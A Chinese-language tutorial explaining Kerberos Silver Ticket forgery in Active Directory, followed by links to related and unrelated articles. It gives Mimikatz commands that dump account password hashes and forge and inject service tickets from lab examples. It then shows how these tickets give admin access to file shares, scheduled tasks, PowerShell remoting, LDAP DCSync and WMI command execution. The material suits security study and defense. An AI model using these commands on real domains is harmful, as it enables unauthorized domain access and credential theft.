Kerberos的白银票据详解
0x01白银票据(Silver Tickets)定义
白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

0x02白银票据的特点
1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。
3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
4.攻击者需要服务帐户密码哈希值
5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
6.任何事件日志都在目标服务器上。
0x03创建白银票据
为了创建或伪造白银票据,攻击者必须获得目标服务账号的密码hash值。如果目标服务正在使用中的帐户(如MS SQL)下运行,则需要服务帐户密码哈希以创建银票。使用Kerberoast(https://github.com/nidem/kerberoast)破解服务帐户密码是识别目标服务相关密码数据的一种有效防范。计算机主机服务也是最常见的服务,它是利用Windows文件共享的“cifs”服务。由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希(NTLM密码哈希用于加密RC4 Kerberos门票):
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit #需要管理员权限

0x04 Mimikatz白银票据票命令
/domain –完整的域名称,如:lab.adsecurity.org
/sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127
/user – 域用户名
/ groups(可选) - 用户所属的组RID
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用,或者使用/ ptt立即将黄金票据插入到内存中以供使用
/ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID,Mimikatz默认值是500(默认管理员帐户RID)
/ startoffset(可选) - 票证可用时的起始偏移(如果使用此选项,通常设置为-10或0)Mimikatz默认值是0
/ endin(可选) - 票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时
/ renewmax(可选) - 续订最长票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为最长为7天
1.白银票据需要的参数
/target –目标服务器的FQDN
FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等
/rc4 –服务的NTLM散列(计算机帐户或用户帐户)
2.白银票据默认组
域用户SID:S-1-5-21 <DOMAINID> -513
域管理员SID:S-1-5-21 <DOMAINID> -512
架构管理员SID:S-1-5-21 <DOMAINID> -518
企业管理员SID:S-1-5-21 <DOMAINID> -519
组策略创建所有者SID:S-1-5-21 <DOMAINID> -520
3. Mimikatz命令创建白银票据
以下Mimikatz命令会在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建白银票据。为了成功创建Silver Ticket,需要从AD域转储中或在本地系统上运行Mimikatz来获获取adsmswin2k8r2.lab.adsecurity.org中AD计算机帐户密码哈希值。NTLM密码哈希与 rc4参数一起使用。服务SPN类型也需要在/ service参数中标识。目标计算机的FQDA需要在/ target参数中使用以及/ sid参数中的域SID。命令如下:
mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

0x05 白银票据在各种服务中的实列
1.白银票据的服务列表
| Service Type | Service Silver Tickets |
| WMI | HOST RPCSS |
|
PowerShell |
HOST HTTP |
| WinRM | HOST HTTP |
| Scheduled Tasks |
HOST |
| Windows File Share (CIFS) |
CIFS |
|
LDAP Mimikatz DCSync |
LDAP |
| Windows Remote Server Administration Tools |
RPCSS LDAP CIFS |
2.Windows共享(CIFS)管理访问的银票
为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c $共享,我们能够将文件拷贝到共享文件中。

3.具有管理员权限的Windows计算机(HOST)白银票据
创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。

利用HOST Silver Ticket,我们可以创建一个新的计划任务。

或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。


4.Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行
为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。


注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。


5.白银票据证连接到具有管理员权限Windows计算机上的LDAP
为“ ldap ”服务创建Silver Ticket 以获得目标系统(包括Active
Directory)上LDAP服务的管理权限。

利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息

注:lsadump::dcsync
向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
6.白银票据证连接到具有管理员权限Windows计算机上的WMI
为“ HOST ”服务和“ rpcss ”服务创建白银票据,以使用WMI在目标系统上远程执行命令。

注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。

Invoke-WmiMethod win32_process -ComputerName $ Computer
-Credential $ Creds -name create -argumentlist“$ RunCommand”

7.访问域控上“cifs”服务实列
首先需要获得如下信息:
/domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试
在域控上执行如下命令来获取域控主机的本地管理员账户hash
mimikatz log
"sekurlsa::logonpasswords"
如图:

注:
此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。
整理以上获得的信息如下:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local
/service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155
/user:silver
使用mimikatz执行如下命令导入Silver Ticket
mimikatz
"kerberos::golden /domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local /service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如图,成功导入,此时可以成功访问域控上的文件共享

Kerberos的白银票据详解的更多相关文章
- Kerberos的黄金票据详解
0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...
- kerberos中的spn详解
0x01 SPN定义 服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称.Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联. ...
- 深入详解windows安全认证机制ntlm&Kerberos
0x01 为什么要理解windows 安全认证机制: 加深对后续各种漏洞利用的理解深度,还是那句话,要知其然,更要知其所以然,不废话,咱们直接开始 0x02 windows认证协议主要有以下两种: 基 ...
- 详解Linux运维工程师高级篇(大数据安全方向).
hadoop安全目录: kerberos(已发布) elasticsearch(已发布)http://blog.51cto.com/chenhao6/2113873 knox oozie ranger ...
- linux查看端口及端口详解
今天现场查看了TCP端口的占用情况,如下图 红色部分是IP,现场那边问我是不是我的程序占用了tcp的链接,,我远程登陆现场查看了一下,这种类型的tcp链接占用了400多个,,后边查了一下资料,说E ...
- ecshop二次开发 给商品添加自定义字段【包含我自己进一步的开发实例详解】
本文包含商品自定义添加教程及进一步的开发实例: 教程: 说起自定义字段,我想很多的朋友像我一样会想起一些开源的CMS(比如Dedecms.Phpcms.帝国)等,他们是可以在后台直接添加自定义字段的. ...
- 详解Linux目录(目录树详细解释)
给大家一篇关于Linux目录 方面的详细说明,好好读一下! Linux目录详解(RHEL5.4) linux有四种基本文件系统类型:--普通文件:如文本文件.c语言源代码.shell脚本等,可以用ca ...
- net-snmp配置文件详解
net-snmp配置文件详解 net-snmp的配置文件是有一定的层次结构的,配置起来也很方便.网上找了很多资料,大概把这个配置文件的各个信息搞懂了一点.其实在net-snmp的EXAMPLE.con ...
- iOS开发——网络编程Swift篇&Alamofire详解
Alamofire详解 预览图 Swift Alamofire 简介 Alamofire是 Swift 语言的 HTTP 网络开发工具包,相当于Swift实现AFNetworking版本. 当然,AF ...
随机推荐
- 基于Cocos2d-x-1.0.1的飞机大战游戏开发实例(下)
在飞机大战游戏开发中遇到的问题和解决方法: 1.在添加菜单时,我要添加一个有背景的菜单,需要在菜单pMenu中添加一个图片精灵,结果编译过了但是运行出错,如下图: 查了很多资料,调试了很长时间,整个人 ...
- Linux checksum flag in kernel
net_device->feature | NETIF_F_NO_CSUM: No need to use L4 checksum, it used for loopback device. | ...
- mysql数据库 root密码重置
问题 忘记了MySQL的密码,网上搜索的杂七杂八,汇总一下. mysql版本是windows的mysql 5.7 步骤 1.以管理员身份打开cmd,切换到MySQL的bin目录 默认的话,一般是在C: ...
- selenium webdriver API详解(三)
本系列主要讲解webdriver常用的API使用方法(注意:使用前请确认环境是否安装成功,浏览器驱动是否与谷歌浏览器版本对应) 一:获取页面元素的文本内容:text 例:获取我的博客名字文本内容 代码 ...
- jenkins升级为2.134
由于前面装的jenkins版本为2.130版本,昨天(2018.7.26)发现了两个jenkins的漏洞,影响范围为:Jenkins weekly 2.132 以及更早的版本.Jenkins LTS ...
- Python+MySQL开发医院网上预约系统(课程设计)二
---恢复内容开始--- 1:报错 1.1.创建表时报错 CREATE TABLE Admin ( A_ID VARCHAR(20) NOT NULL AUTO_INCREMENT, p ...
- Linux内核学习笔记(3)-- 进程的创建和终结
一. 进程创建: Unix 下的进程创建很特别,与许多其他操作系统不同,它分两步操作来创建和执行进程: fork() 和 exec() .首先,fork() 通过拷贝当前进程创建一个子进程:然后,ex ...
- 5.openldap设置用户本身修改密码
1. 修改slapd.conf文件 #vim /etc/openldap/slapd.conf 修改下如下内容 access to dn.subtree="ou=People,dc=bawo ...
- 一次WebSphere性能问题诊断过程
一次接到用户电话,说某个应用在并发量稍大的情况下就会出现响应时间陡然增大,同时管理控制台的响应时间也很慢,几乎无法进行正常工作. 赶到现场后,查看平台版本为Webshpere6.0.2.29,操作系统 ...
- 解决CentOS安装redis局域网内无法访问的问题
redis4.0版本安装教程晚上非常多,随便贴出来一个:http://www.cnblogs.com/web424/p/6796993.html 安装完成后,在局域网内发现无法访问到redis.cen ...